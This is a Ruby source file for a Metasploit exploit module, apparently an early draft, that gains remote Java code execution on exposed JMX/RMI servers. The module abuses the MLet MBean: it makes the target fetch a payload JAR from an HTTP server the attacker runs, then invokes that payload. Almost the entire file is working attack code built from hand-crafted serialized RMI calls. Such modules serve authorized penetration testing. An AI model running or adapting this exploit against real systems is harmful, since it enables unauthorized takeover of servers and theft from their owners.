651 lines
22 KiB
Ruby
651 lines
22 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Rmi::Client
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Java JMX Server Java Code Execution',
|
|
'Description' => %q{
|
|
TODO:complete
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Braden Thomas', # Attack vector discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
|
|
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
|
|
],
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
'Privileged' => false,
|
|
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => 10
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (Java Payload)', {} ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'May 22 2013'
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(1617),
|
|
], self.class)
|
|
end
|
|
|
|
def peer
|
|
"#{rhost}:#{rport}"
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.uri =~ /mlet$/
|
|
jar = 'compromise.jar'
|
|
|
|
mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
|
|
mlet << "archive=\"#{jar}\" "
|
|
mlet << "name=\"MLetCompromise:name=jmxpayload,id=1\" "
|
|
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
|
|
send_response(cli, mlet,
|
|
{
|
|
'Content-Type' => 'application/octet-stream',
|
|
'Pragma' => 'no-cache'
|
|
})
|
|
elsif request.uri =~ /\.jar$/i
|
|
p = regenerate_payload(cli)
|
|
jar = p.encoded_jar
|
|
paths = [
|
|
["metasploit", "JMXPayloadMBean.class"],
|
|
["metasploit", "JMXPayload.class"],
|
|
]
|
|
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
|
|
|
|
send_response(cli, jar.pack,
|
|
{
|
|
'Content-Type' => 'application/java-archive',
|
|
'Pragma' => 'no-cache'
|
|
})
|
|
|
|
print_status("Replied to request for payload JAR")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
mbean = get_mbean_server
|
|
|
|
print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}")
|
|
|
|
server_sock = connect(false, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] })
|
|
|
|
send_header(sock: server_sock)
|
|
ack = recv_protocol_ack(sock: server_sock)
|
|
if ack.nil?
|
|
print_error("#{peer} - Filed to negotiate RMI protocol")
|
|
disconnect
|
|
return
|
|
end
|
|
|
|
print_status("#{peer} - Doing unknown call..")
|
|
|
|
send_call(sock: server_sock, call_data: build_unknown_call(mbean[:id].chop))
|
|
return_data = recv_return(sock: server_sock)
|
|
|
|
if return_data.nil?
|
|
print_error("#{peer} - Failed to call unknown call")
|
|
disconnect
|
|
return
|
|
else
|
|
print_good("#{peer} - Got unknown answer =) ")
|
|
end
|
|
|
|
conn_stub = extract_rmi_connection_stub(return_data)
|
|
#print_status("#{return_data}")
|
|
|
|
print_status("#{peer} - Getting JMXPayload instance...")
|
|
my_stream = build_get_instance(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1')
|
|
send_call(sock: server_sock, call_data: my_stream)
|
|
return_data = recv_return(sock: server_sock)
|
|
|
|
if return_data.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
|
|
end
|
|
|
|
answer = get_instance_answer(return_data)
|
|
|
|
if answer.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
|
|
end
|
|
|
|
case answer
|
|
when 'javax.management.InstanceNotFoundException'
|
|
print_warning("#{peer} - JMXPayload instance not found, trying to load")
|
|
load_payload(server_sock, conn_stub)
|
|
when 'javax.management.ObjectInstance'
|
|
print_good("#{peer} - JMXPayload instance found, using it")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
|
|
end
|
|
|
|
print_status("#{peer} - Executing payload...")
|
|
my_stream = build_invoke(
|
|
conn_stub[:id].chop,
|
|
'MLetCompromise:name=jmxpayload,id=1',
|
|
'run',
|
|
{}
|
|
)
|
|
send_call(sock: server_sock, call_data: my_stream)
|
|
|
|
disconnect(server_sock)
|
|
disconnect
|
|
end
|
|
|
|
def build_unknown_call(id)
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8"
|
|
block_data.length = block_data.contents.length
|
|
|
|
stream.contents << block_data
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
stream
|
|
end
|
|
|
|
def extract_rmi_connection_stub(stream)
|
|
stub = false
|
|
stub_index = 0
|
|
stream.contents.each do |content|
|
|
if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
|
stub = true
|
|
break
|
|
end
|
|
stub_index = stub_index + 1
|
|
end
|
|
|
|
unless stub
|
|
return nil
|
|
end
|
|
|
|
block_data = stream.contents[stub_index + 1]
|
|
data_io = StringIO.new(block_data.contents)
|
|
|
|
ref_length = data_io.read(2)
|
|
unless ref_length && ref_length.length == 2
|
|
return nil
|
|
end
|
|
ref_length = ref_length.unpack('n')[0]
|
|
|
|
ref = data_io.read(ref_length)
|
|
unless ref && ref.length == ref_length && ref == 'UnicastRef'
|
|
return nil
|
|
end
|
|
|
|
address_length = data_io.read(2)
|
|
unless address_length && address_length.length == 2
|
|
return nil
|
|
end
|
|
address_length = address_length.unpack('n')[0]
|
|
|
|
address = data_io.read(address_length)
|
|
unless address && address.length == address_length
|
|
return nil
|
|
end
|
|
|
|
port = data_io.read(4)
|
|
unless port && port.length == 4
|
|
return nil
|
|
end
|
|
port = port.unpack('N')[0]
|
|
|
|
id = data_io.read
|
|
|
|
{ address: address, port: port, :id => id }
|
|
end
|
|
|
|
def get_mbean_server
|
|
print_status("#{peer} - Sending RMI Header...")
|
|
connect
|
|
|
|
send_header
|
|
ack = recv_protocol_ack
|
|
if ack.nil?
|
|
print_error("#{peer} - Filed to negotiate RMI protocol")
|
|
disconnect
|
|
return
|
|
end
|
|
|
|
vprint_status("#{peer} - Sending JMXRMI discovery call...")
|
|
|
|
send_call(call_data: build_discovery)
|
|
return_data = recv_return
|
|
|
|
if return_data.nil?
|
|
fail_with("#{peer} - Failed to discover the JMX endpoint")
|
|
end
|
|
|
|
print_status("#{peer} - Extracting MBean Server...")
|
|
|
|
mbean_server = extract_mbean_server(return_data)
|
|
|
|
if mbean_server.nil?
|
|
fail_with("#{peer} - Failed to extract the JMX MBean server endpoint")
|
|
end
|
|
|
|
mbean_server
|
|
end
|
|
|
|
def build_discovery
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
|
block_data.length = block_data.contents.length
|
|
|
|
stream.contents << block_data
|
|
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
|
|
|
stream
|
|
end
|
|
|
|
def extract_mbean_server(stream)
|
|
my_block = false
|
|
stub = false
|
|
i = 0
|
|
stub_index = 0
|
|
stream.contents.each do |content|
|
|
if content.class == Rex::Java::Serialization::Model::BlockData && i == 0
|
|
my_block = true
|
|
end
|
|
|
|
if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub'
|
|
stub = true
|
|
stub_index = i
|
|
break
|
|
end
|
|
i = i + 1
|
|
end
|
|
|
|
unless my_block && stub
|
|
return nil
|
|
end
|
|
|
|
my_block_id = stream.contents[0].contents[1..-1]
|
|
|
|
block_data = stream.contents[stub_index + 1]
|
|
data_io = StringIO.new(block_data.contents)
|
|
|
|
ref_length = data_io.read(2)
|
|
unless ref_length && ref_length.length == 2
|
|
return nil
|
|
end
|
|
ref_length = ref_length.unpack('n')[0]
|
|
|
|
ref = data_io.read(ref_length)
|
|
unless ref && ref.length == ref_length && ref == 'UnicastRef'
|
|
return nil
|
|
end
|
|
|
|
address_length = data_io.read(2)
|
|
unless address_length && address_length.length == 2
|
|
return nil
|
|
end
|
|
address_length = address_length.unpack('n')[0]
|
|
|
|
address = data_io.read(address_length)
|
|
unless address && address.length == address_length
|
|
return nil
|
|
end
|
|
|
|
port = data_io.read(4)
|
|
unless port && port.length == 4
|
|
return nil
|
|
end
|
|
port = port.unpack('N')[0]
|
|
|
|
id = data_io.read
|
|
|
|
{ address: address, port: port, id: id, my_id: my_block_id }
|
|
end
|
|
|
|
def build_get_instance(id, name)
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
block_data.contents = id
|
|
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
|
|
block_data.length = block_data.contents.length
|
|
|
|
stream.contents << block_data
|
|
|
|
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
|
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
|
new_class_desc.flags = 3
|
|
new_class_desc.fields = []
|
|
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
new_class_desc.class_annotation.contents = [
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
]
|
|
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
new_object = Rex::Java::Serialization::Model::NewObject.new
|
|
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_object.class_desc.description = new_class_desc
|
|
new_object.class_data = []
|
|
|
|
stream.contents << new_object
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
stream
|
|
end
|
|
|
|
def get_instance_answer(stream)
|
|
new_object = nil
|
|
|
|
if stream.contents[1]
|
|
new_object = stream.contents[1]
|
|
else
|
|
print_error("#{peer} - getObjectInstance returned an incorrect answer")
|
|
return nil
|
|
end
|
|
|
|
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
|
print_error("#{peer} - getObjectInstance didn't return a new object")
|
|
return nil
|
|
end
|
|
|
|
new_object.class_desc.description.class_name.contents
|
|
end
|
|
|
|
def build_create_instance(id, name)
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
#block_data.contents = "\x00" * 22
|
|
block_data.contents << id
|
|
block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6"
|
|
block_data.length = block_data.contents.length
|
|
|
|
stream.contents << block_data
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
stream
|
|
end
|
|
|
|
def build_invoke(id, object_name, method_name, arguments)
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
block_data.contents = id
|
|
block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20"
|
|
block_data.length = block_data.contents.length
|
|
|
|
stream.contents << block_data
|
|
|
|
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
|
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
|
new_class_desc.flags = 3
|
|
new_class_desc.fields = []
|
|
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
new_class_desc.class_annotation.contents = [
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
]
|
|
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
new_object = Rex::Java::Serialization::Model::NewObject.new
|
|
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_object.class_desc.description = new_class_desc
|
|
new_object.class_data = []
|
|
|
|
stream.contents << new_object
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name)
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name)
|
|
|
|
marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject')
|
|
marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e
|
|
marshall_object_class_desc.flags = 2
|
|
marshall_object_class_desc.fields = [
|
|
Rex::Java::Serialization::Model::Field.new,
|
|
Rex::Java::Serialization::Model::Field.new,
|
|
Rex::Java::Serialization::Model::Field.new
|
|
]
|
|
|
|
marshall_object_class_desc.fields[0].type = 'int'
|
|
marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash')
|
|
|
|
marshall_object_class_desc.fields[1].type = 'array'
|
|
marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes')
|
|
marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
|
|
|
marshall_object_class_desc.fields[2].type = 'array'
|
|
marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes')
|
|
marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
|
|
|
marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
marshall_object_class_desc.class_annotation.contents = [
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
]
|
|
marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
|
|
data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B')
|
|
data_binary_class_desc.serial_version = 0xacf317f8060854e0
|
|
data_binary_class_desc.flags = 2
|
|
data_binary_class_desc.fields = []
|
|
data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
data_binary_class_desc.class_annotation.contents = [
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
]
|
|
data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
data_binary = Rex::Java::Serialization::Model::NewArray.new
|
|
data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
data_binary.array_description.description = data_binary_class_desc
|
|
data_binary.type = 'byte'
|
|
# TODO: look into it
|
|
data_binary.values = marshalled_argument(arguments).encode.unpack('C*')
|
|
|
|
marshall_object = Rex::Java::Serialization::Model::NewObject.new
|
|
marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
marshall_object.class_desc.description = marshall_object_class_desc
|
|
marshall_object.class_data = [
|
|
["int", 1919492550],
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
data_binary
|
|
]
|
|
|
|
stream.contents << marshall_object
|
|
|
|
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;')
|
|
new_array_class_desc.serial_version = 0xadd256e7e91d7b47
|
|
new_array_class_desc.flags = 2
|
|
new_array_class_desc.fields = []
|
|
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
new_array_class_desc.class_annotation.contents = [
|
|
Rex::Java::Serialization::Model::NullReference.new,
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
]
|
|
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
new_array = Rex::Java::Serialization::Model::NewArray.new
|
|
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_array.array_description.description = new_array_class_desc
|
|
new_array.type = 'java.lang.String;'
|
|
new_array.values = []
|
|
arguments.keys.each do |k|
|
|
new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k)
|
|
end
|
|
|
|
stream.contents << new_array
|
|
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
stream
|
|
end
|
|
|
|
def marshalled_argument(arguments)
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
|
|
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
|
|
new_array_class_desc.serial_version = 0x90ce589f1073296c
|
|
new_array_class_desc.flags = 2
|
|
new_array_class_desc.fields = []
|
|
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
new_array_class_desc.class_annotation.contents = [
|
|
Rex::Java::Serialization::Model::EndBlockData.new
|
|
]
|
|
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
|
|
new_array = Rex::Java::Serialization::Model::NewArray.new
|
|
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
new_array.array_description.description = new_array_class_desc
|
|
new_array.type = 'java.lang.Object;'
|
|
new_array.values = [ ]
|
|
arguments.values.each do |v|
|
|
new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v)
|
|
end
|
|
stream.contents << new_array
|
|
|
|
stream
|
|
end
|
|
|
|
def load_payload(server_sock, conn_stub)
|
|
print_status("Starting service...")
|
|
start_service
|
|
|
|
print_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
|
send_call(sock: server_sock, call_data: build_create_instance(conn_stub[:id].chop, 'javax.management.loading.MLet'))
|
|
return_data = recv_return(sock: server_sock)
|
|
answer = get_instance_answer(return_data)
|
|
|
|
if answer.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer")
|
|
end
|
|
|
|
case answer
|
|
when 'javax.management.InstanceAlreadyExistsException'
|
|
print_good("#{peer} - javax.management.loading.MLet already exists")
|
|
when 'javax.management.ObjectInstance'
|
|
print_good("#{peer} - javax.management.loading.MLet created")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}")
|
|
end
|
|
|
|
print_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
|
my_stream = build_get_instance(conn_stub[:id].chop , 'DefaultDomain:type=MLet')
|
|
send_call(sock: server_sock, call_data: my_stream)
|
|
return_data = recv_return(sock: server_sock)
|
|
|
|
if return_data.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
|
|
end
|
|
|
|
answer = get_instance_answer(return_data)
|
|
|
|
if answer.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
|
|
end
|
|
|
|
case answer
|
|
when 'javax.management.InstanceAlreadyExistsException'
|
|
print_good("#{peer} - javax.management.loading.MLet already found")
|
|
when 'javax.management.ObjectInstance'
|
|
print_good("#{peer} - javax.management.loading.MLet instance created")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
|
|
end
|
|
|
|
print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
|
|
|
my_stream = build_invoke(
|
|
conn_stub[:id].chop,
|
|
'DefaultDomain:type=MLet',
|
|
'getMBeansFromURL',
|
|
{ 'java.lang.String' => "#{get_uri}/mlet" }
|
|
)
|
|
send_call(sock: server_sock, call_data: my_stream)
|
|
return_data = recv_return(sock: server_sock)
|
|
|
|
if return_data.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed")
|
|
end
|
|
|
|
answer = get_mbean_from_url_answer(return_data)
|
|
|
|
if answer.nil?
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer")
|
|
end
|
|
|
|
case answer
|
|
when 'javax.management.InstanceAlreadyExistsException'
|
|
print_good("#{peer} - The remote payload was already loaded... okey, using it!")
|
|
when 'javax.management.ObjectInstance'
|
|
print_good("#{peer} - The remote payload has been loaded!")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}")
|
|
end
|
|
|
|
print_status("Stopping service...")
|
|
stop_service
|
|
end
|
|
|
|
def get_mbean_from_url_answer(stream)
|
|
new_object = nil
|
|
|
|
if stream.contents[3]
|
|
new_object = stream.contents[3]
|
|
else
|
|
print_error("#{peer} - getMBeansFromURL returned an incorrect answer")
|
|
return nil
|
|
end
|
|
|
|
unless new_object.class == Rex::Java::Serialization::Model::NewObject
|
|
print_error("#{peer} - getMBeansFromURL didn't return a new object")
|
|
return nil
|
|
end
|
|
|
|
new_object.class_desc.description.class_name.contents
|
|
end
|
|
|
|
end
|